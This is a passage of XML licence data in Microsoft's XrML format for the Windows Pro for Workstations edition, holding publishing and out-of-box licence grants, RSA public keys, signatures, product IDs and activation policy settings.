GR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/ACTIVATED/PRIVATE</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/ACTIVATED/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="publicCertificateId">{5301b3a8-bb7a-488a-88aa-6559b5cb12a4}</tm:infoStr><tm:infoStr name="productSkuId">{82bbc092-bc50-4e16-8e18-b74fc486aec3}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="vl:policy">GQAAAID0AwAAAAAATxPiWBGOF02cspEGnBURSAAAAAAKAAAAAAAAAAAAAAAAAAAACg==</tm:infoStr><tm:infoStr name="win:branding">161</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{36f9300d-c554-463a-b40a-b2d01bf961f1}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) Publishing License (Public)</r:title><r:grant><r:forAll varName="productId"><r:anXmlExpression>/sl:productId/sl:pid</r:anXmlExpression></r:forAll><r:forAll varName="binding"></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>v0JgOuEWuaA3INoAK10wY7PLaEhyfjfL5A2joNwBR/3ziJxewXKy5QDzZvD3C9eVdvlSqFCDpZEDUxVWvFFeYKI5YkTeK5x7X4nQPodwZAoTJklTUWpfZNslLYJVMaxRvs8htxKoIbvmssqN4Dhy3Oa7HT80GcOvS95M7UCvXcQ7TjrQUV9QNb0w6WLdMVpuktek1CVi4XQ3ELIHZJhyKAtWNGRN4kxZL9nYyDvZ8be5rlGTuhEsgi1oFqnjzMLYXU4wkF/W8mRedIkvoBu3kCjuwEqsr9P5sIbHowqFX5sRxmTrgwoCXPCtFyXCwu9hO75mvb1I1sCuv8W0gTfMtw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><r:issue/><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ProfessionalWorkstation"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Kernel-NonGenuineNotificationType" attributes="override-only">2</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ProfessionalWorkstation</sl:policyStr></sl:productPolicies><sl:proxyExecutionKey xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"></sl:proxyExecutionKey><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAAFAAAA</sl:data></sl:externalValidator></r:allConditions><mx:renderer><sl:binding varRef="binding"/><sl:productId varRef="productId"/></mx:renderer></r:allConditions></r:grant><r:allConditions><sl:businessRules xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"></sl:businessRules></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>hWUIJsz/2Iq5+9zm23vvVXu0xx4=</DigestValue></Reference></SignedInfo><SignatureValue>NlkZUH+62GlU6Qhu42SQ37obPMzxmYv8F2+rIGBi4dzd9aQZAxVb2S4wY+a5FvyAfvOQO3xfqT2UUEWbMFuxkX7OdDzhFZvxO/tyDggBKBCyFwf3wjJhrcMrVkkkKQUVaM9oSXdxsTeGyNbN89q1UsTmBnmYbV7KSkP+L1490alVLAkDz3DnhhSj41EB4E7WLOeHcx/84YFBzam2WWuj34Ft7K0XG9sif5fRc9aGCu1O9PNSM/+1SW+8d5JIV4rf2SW9B1UBrfPIZgdQmlkglXNkNF/ka9JGKvdkW0cOHxk0bp7TjsI3/EVFBtJLttKsgefjOlp+9HFCBH23VLRc8w==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/PL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/PL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="productSkuId">{721f9237-9341-4453-a661-09e8baa6cca5}</tm:infoStr><tm:infoStr name="privateCertificateId">{02226202-bf95-4fce-9d1c-12e3b6063d16}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="productName">Windows(R), ProfessionalWorkstation edition</tm:infoStr><tm:infoStr name="Family">ProfessionalWorkstation</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System</tm:infoStr><tm:infoStr name="clientIssuanceCertificateId">{4961cc30-d690-43be-910c-8e2db01fc5ad}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{02226202-bf95-4fce-9d1c-12e3b6063d16}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) Publishing License (Private)</r:title><r:grant><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>v0JgOuEWuaA3INoAK10wY7PLaEhyfjfL5A2joNwBR/3ziJxewXKy5QDzZvD3C9eVdvlSqFCDpZEDUxVWvFFeYKI5YkTeK5x7X4nQPodwZAoTJklTUWpfZNslLYJVMaxRvs8htxKoIbvmssqN4Dhy3Oa7HT80GcOvS95M7UCvXcQ7TjrQUV9QNb0w6WLdMVpuktek1CVi4XQ3ELIHZJhyKAtWNGRN4kxZL9nYyDvZ8be5rlGTuhEsgi1oFqnjzMLYXU4wkF/W8mRedIkvoBu3kCjuwEqsr9P5sIbHowqFX5sRxmTrgwoCXPCtFyXCwu9hO75mvb1I1sCuv8W0gTfMtw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><r:issue/><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="appid"></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:prerequisiteRight><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><r:right varRef="anyRight"/><sl:appId varRef="appid"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>v0JgOuEWuaA3INoAK10wY7PLaEhyfjfL5A2joNwBR/3ziJxewXKy5QDzZvD3C9eVdvlSqFCDpZEDUxVWvFFeYKI5YkTeK5x7X4nQPodwZAoTJklTUWpfZNslLYJVMaxRvs8htxKoIbvmssqN4Dhy3Oa7HT80GcOvS95M7UCvXcQ7TjrQUV9QNb0w6WLdMVpuktek1CVi4XQ3ELIHZJhyKAtWNGRN4kxZL9nYyDvZ8be5rlGTuhEsgi1oFqnjzMLYXU4wkF/W8mRedIkvoBu3kCjuwEqsr9P5sIbHowqFX5sRxmTrgwoCXPCtFyXCwu9hO75mvb1I1sCuv8W0gTfMtw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight></r:grant></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>N3pb0hfFtBjdKjf/dfClIxQ/MCk=</DigestValue></Reference></SignedInfo><SignatureValue>JhlPrExGVoKEQ4PpunwqWoflolgrh69UYuxLoCO7AzjLcSVRjGImW9zptAJMfJNt0z+csbaPipbYqZhErU497KtUYHMKeJtf5k1JEBSQXJ9zQcvkEMeyJWp68/YKmUB/3mMWk4EaxmkWRv5QGnfozbDFoI2SyU7JiiYY/rHbFLRKd8Solcpsca2eSXu4qqLjM4SKRI5aZiKpE1/RqskJFRemc3QH89IZdPue0lz2+l7A9BpY5nBmcggJBhAFVObhtY8Wrr6xVR9lgrn23ovJciaX0m7pMVm0aq5MRxo10WZBRgjvmS2PHXpd3pOFd42R7Agaw9mukzLIR0CwDogjnA==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/PL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/PL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="publicCertificateId">{36f9300d-c554-463a-b40a-b2d01bf961f1}</tm:infoStr><tm:infoStr name="clientIssuanceCertificateId">{4961cc30-d690-43be-910c-8e2db01fc5ad}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="win:branding">161</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{9eb13207-3cfb-4ae0-b54f-63fdaefac594}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL oob License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ProfessionalWorkstation"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Kernel-NonGenuineNotificationType" attributes="override-only">2</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ProfessionalWorkstation</sl:policyStr><sl:policyStr name="Security-SPP-Reserved-GraceTimerUniqueness" attributes="override-only">EditionId</sl:policyStr><sl:policyStr name="Security-SPP-Reserved-ValidityTimerUniqueness" attributes="override-only">EditionId</sl:policyStr></sl:productPolicies></r:allConditions><mx:renderer><sl:noBinding/></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{721f9237-9341-4453-a661-09e8baa6cca5}"></sl:productIdRange></r:allConditions></r:grant><r:grant><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId><sl:guid>{55c92734-d682-4d71-983e-d6ec3f16059f}</sl:guid></sl:appId><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>501</sl:priority><sl:policyInt name="Security-SPP-Reserved-NotificationGrantConsumed" attributes="override-only">1</sl:policyInt></sl:productPolicies></r:allConditions><mx:renderer><sl:noBinding/></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{721f9237-9341-4453-a661-09e8baa6cca5}"></sl:productIdRange><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAADAAAA</sl:data></sl:externalValidator><sl:floatingPeriod xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:duration>P0D</sl:duration><sl:type>msft:sl/grace-period</sl:type></sl:floatingPeriod></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>2donKzfH/aIJWB5FD+QKE55CWL8=</DigestValue></Reference></SignedInfo><SignatureValue>NdjiB0KoxuT/KHECUX+0gvfut/mMDPTVzEU0rHNhiXB89MXvwlYbZ2bFRqQBVHcYXnH6qIqQL6ZxhlxLvnc1T35yzbHUoVUAN01wd+PS09u+yqPgQh4yLovJFKq5nL+QkWbhT/jR/xAvHiV5L+mDnA1pvy/n4kC98amUCDvKlZeRtR1QcOJEiPi9TR/JRSZWfGCZosNR9L4d0rzGVHdMVRfIQND8AXswVcEtMwkFCX893xE+dpy6t1Yv0N0JglZaf7EswFaA0AaqWYkxYLiH3956OJ2EKo35yUkPkBZHo1VROB1kQ1JYBvzRMRHXdaW8hS0zsoZQ1mQ65H2c2OBS6g==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="productSkuId">{721f9237-9341-4453-a661-09e8baa6cca5}</tm:infoStr><tm:infoStr name="privateCertificateId">{9031eb13-310b-47f8-a121-d0c37a2e86b8}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="pkeyConfigLicenseId">{06a4dd30-84b7-4fd2-b859-f1eddb0858f5}</tm:infoStr><tm:infoStr name="productName">Windows(R), ProfessionalWorkstation edition</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System, VOLUME_MAK channel</tm:infoStr><tm:infoStr name="PAUrl">https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail</tm:infoStr><tm:infoStr name="ActivationSequence">msft:spp/licenseacquisition/payloadhandler/pa/1.0</tm:infoStr><tm:infoStr name="ValidationTemplateId">{99d92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="ValUrl">https://validation-v2.sls.microsoft.com/SLWGA/slwga.asmx</tm:infoStr><tm:infoStr name="UXDifferentiator">RETAIL</tm:infoStr><tm:infoStr name="Family">ProfessionalWorkstation</tm:infoStr><tm:infoStr name="ProductKeyGroupUniqueness">WINDOWS6.2</tm:infoStr><tm:infoStr name="EnableNotificationMode">1</tm:infoStr><tm:infoStr name="GraceTimerUniqueness">EditionId</tm:infoStr><tm:infoStr name="ValidityTimerUniqueness">EditionId</tm:infoStr><tm:infoStr name="EnableActivationValidation">1</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{9031eb13-310b-47f8-a121-d0c37a2e86b8}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL oob License (Private)</r:title><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="anyAppId"></r:forAll><r:keyHolder licensePartId="accountKey"><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:allConditions><r:prerequisiteRight><r:keyHolder licensePartIdRef="accountKey"/><r:right varRef="anyRight"/><sl:appId varRef="anyAppId"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight><r:allConditions></r:allConditions></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod 